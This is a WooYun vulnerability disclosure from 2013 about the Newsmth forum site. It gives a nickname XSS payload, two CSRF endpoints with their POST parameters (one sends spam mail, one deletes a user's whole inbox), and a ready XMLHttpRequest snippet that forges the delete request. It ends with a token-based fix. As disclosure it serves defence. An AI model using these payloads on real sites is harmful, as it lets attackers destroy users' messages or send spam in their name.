当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040740

漏洞标题:木水社区的一些安全问题

相关厂商:水木社区

漏洞作者: n0bele

提交时间:2013-10-23 15:55

修复时间:2013-12-07 15:56

公开时间:2013-12-07 15:56

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-12-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

上水木有些年了,之前一直没太关注,今天闲了感觉问题很多提一下

详细说明:

第一个是xss问题,修改昵称为 "/><script>alert(200)</script> 这里有长度限制,不过也能绕过.这个xss只能x自己,不过配合着csrf就行了。

1.jpg


剩下的看了些csrf问题,感觉就没处理过啊
可利用的地方实在太多,我就找2个地方,可能还有很多危害更大的地方。
1.任意发垃圾邮件,虽然有个时间间隔,但sleep几秒就行了
POST:
http://www.newsmth.net/nForum/mail/NULL/ajax_send.json
发送数据:
id=n0bele&title=test22&content=test22&signature=0&backup=on&num=
2.删除所有私信邮件
POST:
http://www.newsmth.net/nForum/mail/inbox/ajax_delete.json
发送数据:
all=all

XMLHttpRequest发送一个POST请求
var url = "http://www.newsmth.net/nForum/mail/inbox/ajax_delete.json";
var poster = "all=all";
var ajax = null;
if(window.XMLHttpRequest){
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject){
ajax = new ActiveXObject("Microsoft.XMLHTTP");
}
else{
return;
}
ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(poster);


漏洞证明:

这个一试便知

修复方案:

全部加个Token啥的吧

版权声明:转载请注明来源 n0bele@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝